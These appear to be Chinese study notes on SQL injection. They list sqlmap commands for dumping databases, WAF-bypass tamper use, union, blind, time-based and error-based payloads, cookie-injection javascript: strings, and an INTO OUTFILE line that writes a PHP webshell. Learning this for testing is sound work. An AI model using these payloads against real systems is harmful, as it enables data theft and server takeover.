1、发现和利用sql注入漏洞的基本流程:
首先找到有数据库交互的功能页面---判断页面是否存在sql注入--利用sql注入漏洞读取数据--导出所需数据
sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)
(1)判断是什么类型注入,有没过滤了关键字,可否绕过
(2)获取数据库用户,版本,当前连接的数据库等信息
(3)获取某个数据库表的信息
(4)获取列信息
(5)最后就获取数据了
2、sqlmap:使用学习
(1)sqlmap.py -u 指定url (2)--users 当前权限有哪些用户 (3)--dbs 当前权限有哪些数据库(4) --current-user --current-db 查看当前用户和数据库 (5)--tables -D "数据库名" 查看目标数据库的表信息 (6)--colunns -T "users" -D "数据库名" 读取目标数据库表的列信息和字段信息 (6)--count -T "users" -D "数据库名" 读取目标数据库有几条数据 (7) --dump -T "users" -D "数据库名" 查看具体数据 (7)--dump -T "users" -D "数据库名" --start 2 --stop 4 查看第二条至第四条具体数据
(8)--dump-all -D "目标数据库" 下载数据库所有数据表内容
(9)sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs --batch --tamper "脚本" 绕过waf
(10)sqlmap.py -u "http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --level 2 --dbs cookie注入
post方式注入判断:
(1)sqlmap -r "抓取的数据包文件"
(2)sqlmap -u "url" --date "id=1&submit=submit" -p "id" --cookie ""
当注入点和显示页不在同一页面上:
(1)sqlmap.py -u --data -p --cookie --second-order "第二个url"
3、sql回显注入:
(1)如果输入1',sql报错并把错误的信息展示出来,因为我们输入1是正常的,输入1','注入到sql语句中报错。
mysql中常见的三种注释符闭合:
(1)确定查询字段:
(2)确定回显点
4、只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。
5、
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
具体可以看http://www.w3school.com.cn/tags/html_ref_urlencode.html,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码
常用的写出来吧: 空格是%20,单引号是%27, 井号是%23,双引号是%22
判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等
判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5) (函数不同数据库有所不同)例子: ' and sleep(5) " and sleep(5)
6、
7、上传木马:select "PHP木马","webshell字符串" into outfile '目录'
8、如果遇到单引号、双引号被转义的情况,当查询数据表操作时遇到单引号也会转义,可以使用hex编码,进行绕过。
(1)sql盲注漏洞学习:
1、通过真假来判断。调整and后面的数据真假来对比
2、length(str)获取字符串长度 id=1' and length(database())=8--+
3、猜解字符串 ascii('test') id=1' and ascii(substr(database(),1,1))>64 破解字符串
延时注入:
1、if (length(database())>4,5,0)
2、sleep(if (length(database())>4,5,0))
eg:id=1' and sleep(if(length(database())>10,5,0))
3、id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) 破解字符串
(2)基于错误的更新查询POST注入(报错注入):
uname=admin&passwd=a' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
mysql十种报错注入:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
cookie注入:
JS语句获取cookie:javascript:alert(document.cookie)(火狐浏览器插需要注意javascript:容易被过滤掉)
cookie注入测试语句:
javascript:alert(document.cookie="id="+escape("171"));
javascript:alert(document.cookie="id="+escape("171 and 1=1"));
javascript:alert(document.cookie="id="+escape("171 and 1=2"));
javascript:alert(document.cookie="id="+escape("171 order by 1"));
javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")); 数据表需要猜解
union select 1,password,username,4,5,6,7,8,9,10 from admin"));